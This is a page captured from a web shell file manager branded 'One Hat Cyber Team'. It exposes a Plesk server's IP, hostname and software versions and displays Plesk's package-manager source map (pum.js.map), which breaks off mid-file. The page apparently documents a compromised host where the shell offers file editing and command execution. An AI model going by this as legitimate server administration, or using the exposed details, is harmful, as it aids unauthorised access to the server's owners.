⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.74
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
local
/
psa
/
admin
/
cp
/
public
/
javascript
/
app
/
Edit File: pum.js.map
{"version":3,"file":"javascript/app/pum.js?ac37b46bf3dc7433ebb0","mappings":"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","sources":["webpack:///./app/pum/index.js","webpack:///./app/pum/list.js","webpack:///./app/pum/popup-package-info.js","webpack:///./app/pum/popup-packages-base.js","webpack:///./app/pum/popup-packages-lock.js","webpack:///./app/pum/popup-packages-unlock.js","webpack:///./app/pum/popup-packages-update.js","webpack:///./images/system-up-to-date.svg"],"sourcesContent":["// Copyright 1999-2025. WebPros International GmbH. All rights reserved.\n\nimport List from './list';\nimport PopupPackagesUpdate from './popup-packages-update';\n\nexport default {\n List,\n PopupPackagesUpdate,\n};\n","// Copyright 1999-2025. WebPros International GmbH. All rights reserved.\n\n/* eslint-disable camelcase */\n\nimport { ListEmptyView, Button } from '@plesk/ui-library';\nimport { createElement as ce, list, bar, render, escapeHtml, List, SmallButton, Locale } from 'jsw';\nimport PopupPackageInfo from './popup-package-info';\nimport PopupPackagesLock from './popup-packages-lock';\nimport PopupPackagesUnlock from './popup-packages-unlock';\nimport PopupPackagesUpdate from './popup-packages-update';\n\nconst locale = Locale.getSection('admin.components.lists.pumpackages');\n\nexport default class extends List {\n _initConfiguration({ updatesOnly = false, ...config }) {\n super._initConfiguration({\n dataUrl: `/admin/pum/${updatesOnly ? 'updates-' : ''}list-data`,\n searchOveral: 'name',\n emptyViewMode: updatesOnly ? 'all' : undefined,\n onRedraw: () => {\n this._renderAlert();\n },\n ...config,\n });\n\n this._urls = this._getConfigParam('urls', {});\n this._updatesOnly = updatesOnly;\n\n this._initActions();\n this._initOperations();\n this._initColumns();\n }\n\n _initActions() {\n this._itemActions.packageInfo = ({ name }) => {\n new PopupPackageInfo({\n url: this._urls.packageInfo,\n packageName: name,\n });\n };\n this._itemActions.packageUpdate = item => {\n new PopupPackagesUpdate({\n urls: this._urls,\n packages: [item],\n });\n };\n this._itemActions.packageLock = item => {\n new PopupPackagesLock({\n urls: this._urls,\n packages: [item],\n list: this,\n });\n };\n this._itemActions.packageUnlock = item => {\n new PopupPackagesUnlock({\n urls: this._urls,\n packages: [item],\n list: this,\n });\n };\n }\n\n _initOperations() {\n this._operations = [];\n if (this._urls.updatePackages) {\n this._operations.push({\n componentType: SmallButton,\n id: 'buttonUpdate',\n title: locale.lmsg('buttonUpdate'),\n description: locale.lmsg('buttonUpdateDescription'),\n addCls: 'sb-upgrade',\n handler: event => {\n this.execGroupOperation({\n url: this._urls.updatePackages,\n mouseEvent: event,\n confirmationPopup: () => {\n new PopupPackagesUpdate({\n urls: this._urls,\n packages: this.getSelectedItems(),\n });\n },\n });\n },\n });\n this._operations.push({\n componentType: bar.Separator,\n });\n }\n if (this._urls.lock && this._urls.unlock) {\n this._operations.push({\n componentType: SmallButton,\n id: 'buttonLock',\n title: locale.lmsg('buttonLock'),\n description: locale.lmsg('buttonLockDescription'),\n addCls: 'sb-lock',\n handler: event => {\n this.execGroupOperation({\n url: this._urls.lock,\n mouseEvent: event,\n confirmationPopup: () => {\n new PopupPackagesLock({\n urls: this._urls,\n packages: this.getSelectedItems(),\n list: this,\n });\n },\n });\n },\n });\n this._operations.push({\n componentType: SmallButton,\n id: 'buttonUnlock',\n title: locale.lmsg('buttonUnlock'),\n description: locale.lmsg('buttonUnlockDescription'),\n addCls: 'sb-unlock',\n handler: event => {\n this.execGroupOperation({\n url: this._urls.unlock,\n mouseEvent: event,\n confirmationPopup: () => {\n new PopupPackagesUnlock({\n urls: this._urls,\n packages: this.getSelectedItems(),\n list: this,\n });\n },\n });\n },\n });\n this._operations.push({\n componentType: bar.Separator,\n });\n }\n this._operations.push({\n componentType: SmallButton,\n id: 'buttonCheckUpdates',\n title: locale.lmsg('buttonCheckUpdates'),\n description: locale.lmsg('buttonCheckUpdatesDescription'),\n addCls: 'sb-refresh',\n handler: this.checkUpdates.bind(this),\n });\n }\n\n _initColumns() {\n this._columns.push(list.COLUMN_SELECTION);\n this._columns.push({\n header: locale.lmsg('name'),\n sortable: true,\n dataIndex: 'name',\n renderer: ({ name, version_from, repo_from }) => (\n `<a data-action-name=\"packageInfo\" href=\"#\">${\n escapeHtml(name)} ${escapeHtml(version_from)\n } (${repo_from ? escapeHtml(repo_from) : locale.lmsg('unknownRepo')})</a>`\n ),\n });\n this._columns.push({\n header: locale.lmsg('summary'),\n sortable: true,\n dataIndex: 'summary',\n });\n this._columns.push({\n header: locale.lmsg('lockedCut'),\n sortable: true,\n dataIndex: 'locked',\n cls: 'min',\n renderer: ({ locked }) => {\n if (locked) {\n return `<span class=\"tooltipData\">${locale.lmsg('lockedHint')}</span>` +\n '<a data-action-name=\"packageUnlock\" href=\"#\"><i class=\"icon-lock\"></i></a>';\n }\n return `<span class=\"tooltipData\">${locale.lmsg('unlockedHint')}</span>` +\n '<a data-action-name=\"packageLock\" href=\"#\"><i class=\"icon-unlock-muted\"></i></a>';\n },\n });\n this._columns.push({\n header: locale.lmsg('updates'),\n sortable: true,\n dataIndex: 'update',\n renderer: ({ update, version_to, repo_to }) => {\n if (!update) {\n return locale.lmsg('updated');\n }\n const updateToVersion = locale.lmsg('update', { version: escapeHtml(version_to) });\n return `<a data-action-name=\"packageUpdate\" href=\"#\">${updateToVersion} (${escapeHtml(repo_to)})</a>`;\n },\n });\n }\n\n emptyView() {\n if (!this._updatesOnly) {\n return super.emptyView();\n }\n\n return (\n <ListEmptyView\n title={locale.lmsg('allUpToDate')}\n description={this._additionalData.lastChecked ? locale.lmsg('allUpToDateLastChecked', { date: this._additionalData.lastChecked }) : null}\n image={require('images/system-up-to-date.svg')}\n actions={(\n <Button\n intent=\"primary\"\n size=\"lg\"\n icon=\"refresh\"\n onClick={e => this.checkUpdates(e)}\n >\n {locale.lmsg('recheckUpdates')}\n </Button>\n )}\n />\n );\n }\n\n _renderAlert() {\n if (!this._additionalData.availableUpdates.length) {\n return;\n }\n\n this._componentElement.parentNode.querySelectorAll('.alert').forEach(el => {\n el.parentNode.removeChild(el);\n });\n\n render(\n this._componentElement,\n ce('.alert.alert-info', { role: 'alert' }, [\n ce('i.icon-update-light'),\n ' ',\n locale.lmsg('updatesAvailable', { count: this._additionalData.availableUpdates.length }),\n this._additionalData.lastChecked ? ce('span.text-muted',\n ` ${locale.lmsg('lastedChecked', { date: escapeHtml(this._additionalData.lastChecked) })}`,\n ) : '',\n ' ',\n ce('button.btn.btn-primary', {\n onclick: event => {\n event.preventDefault();\n new PopupPackagesUpdate({\n urls: this._urls,\n packages: this._additionalData.availableUpdates,\n });\n },\n }, locale.lmsg('updateAll')),\n ]),\n 'before',\n );\n }\n\n checkUpdates(event) {\n event && event.preventDefault();\n this.reload('?check-updates=true');\n }\n}\n","// Copyright 1999-2025. WebPros International GmbH. All rights reserved.\n\nimport { prepareUrl, PopupForm, Locale, escapeHtml } from 'jsw';\n\nexport default class extends PopupForm {\n _initConfiguration(config) {\n super._initConfiguration({\n singleRowButtons: true,\n locale: Locale.getSection('admin.components.lists.pumpackages'),\n ...config,\n });\n\n this._url = this._getConfigParam('url');\n this._packageName = this._getConfigParam('packageName');\n }\n\n render() {\n super.render();\n\n this.setBoxType('form-box');\n this.setTitle(this.lmsg('popupInfoTitle', { package: escapeHtml(this._packageName) }));\n\n document.getElementById(this._contentAreaId).innerHTML = `<div class=\"ajax-loading\">${this.lmsg('loading')}</div>`;\n\n this._request = new Ajax.Request(\n prepareUrl(this._url),\n {\n method: 'post',\n parameters: {\n name: this._packageName,\n },\n onSuccess: transport => {\n const response = JSON.parse(transport.responseText);\n\n if (!response.data) {\n document.getElementById(this._contentAreaId).innerHTML = '';\n if (response.statusMessages) {\n response.statusMessages.forEach(({ status, content }) => {\n this._addStatusMessage(status, content);\n });\n }\n return;\n }\n\n document.getElementById(this._contentAreaId).innerHTML = `<pre>${escapeHtml(response.data)}</pre>`;\n },\n },\n );\n\n this.addRightButton(Locale.getSection('components.buttons').lmsg('ok'), () => {\n this.hide();\n });\n }\n\n hide() {\n if (this._request) {\n this._request.abort();\n }\n super.hide();\n }\n}\n","// Copyright 1999-2025. WebPros International GmbH. All rights reserved.\n\n/* eslint-disable camelcase */\n\nimport { escapeHtml, PopupForm, Locale } from 'jsw';\n\nexport default class extends PopupForm {\n _initConfiguration(config) {\n super._initConfiguration({\n scrollable: true,\n singleRowButtons: true,\n showLockStatus: false,\n locale: Locale.getSection('admin.components.lists.pumpackages'),\n ...config,\n });\n\n this._urls = this._getConfigParam('urls');\n this._packages = this._getConfigParam('packages', []);\n this._list = this._getConfigParam('list');\n this._showLockStatus = this._getConfigParam('showLockStatus');\n }\n\n _getPackagesIds() {\n return this._packages.map(pkg => pkg.name);\n }\n\n render() {\n super.render();\n\n this._buttonOk = this.addRightButton(Locale.getSection('components.buttons').lmsg('ok'), this._onOkClick.bind(this), true, true);\n this._buttonCancel = this.addRightButton(Locale.getSection('components.buttons').lmsg('cancel'), () => {\n this.remove();\n this.hide();\n });\n }\n\n _onOkClick() {\n // basic empty implementation\n }\n\n _getPackageHtml({ locked, name, version_to, version_from }) {\n return (\n `<li${this._showLockStatus && locked ? ' class=\"list-unordered__item--custom\"' : ''}>` +\n `${this._showLockStatus && locked ? '<i class=\"icon-lock i-bullet\"></i>' : ''}${escapeHtml(name)} ` +\n `<span class=\"text-muted\"${\n version_to\n ? ` title=\"${this.lmsg('currentVersion', {\n version: version_from ? escapeHtml(version_from) : this.lmsg('notInstalled'),\n })}\">${escapeHtml(version_to)}`\n : `>${escapeHtml(version_from)}`\n }</span>` +\n '</li>'\n );\n }\n}\n","// Copyright 1999-2025. WebPros International GmbH. All rights reserved.\n\nimport { addStatusMessage, clearStatusMessages, prepareUrl } from 'jsw';\nimport PopupPackagesBase from './popup-packages-base';\n\nexport default class extends PopupPackagesBase {\n render() {\n super.render();\n\n this.setBoxType('form-box');\n this.setTitle(this.lmsg('popupLockTitle'));\n this.setHint(this.lmsg('popupLockDescription'));\n\n document.getElementById(this._contentAreaId).innerHTML = (\n `<p>${this.lmsg('popupLockPackagesListTitle')}</p>` +\n `<ul>${this._packages.map(this._getPackageHtml.bind(this)).join('')}</ul>`\n );\n }\n\n _onOkClick() {\n new Ajax.Request(prepareUrl(this._urls.lock), {\n method: 'post',\n parameters: {\n 'ids[]': this._getPackagesIds(),\n },\n onSuccess: transport => {\n this.remove();\n this.hide();\n\n this._list.reload();\n\n const data = JSON.parse(transport.responseText);\n if (data.status) {\n clearStatusMessages();\n data.statusMessages.forEach(({ status, content }) => {\n addStatusMessage(status, content);\n });\n }\n },\n });\n }\n}\n","// Copyright 1999-2025. WebPros International GmbH. All rights reserved.\n\nimport { addStatusMessage, clearStatusMessages, prepareUrl } from 'jsw';\nimport PopupPackagesBase from './popup-packages-base';\n\nexport default class extends PopupPackagesBase {\n render() {\n super.render();\n\n this.setBoxType('form-box');\n this.setTitle(this.lmsg('popupUnlockTitle'));\n this.setHint(this.lmsg('popupUnlockDescription'));\n\n document.getElementById(this._contentAreaId).innerHTML = (\n `<p>${this.lmsg('popupUnlockPackagesListTitle')}</p>` +\n `<ul>${this._packages.map(this._getPackageHtml.bind(this)).join('')}</ul>`\n );\n }\n\n _onOkClick() {\n new Ajax.Request(prepareUrl(this._urls.unlock), {\n method: 'post',\n parameters: {\n 'ids[]': this._getPackagesIds(),\n },\n onSuccess: transport => {\n this.remove();\n this.hide();\n\n this._list.reload();\n\n const data = JSON.parse(transport.responseText);\n if (data.status) {\n clearStatusMessages();\n data.statusMessages.forEach(({ status, content }) => {\n addStatusMessage(status, content);\n });\n }\n },\n 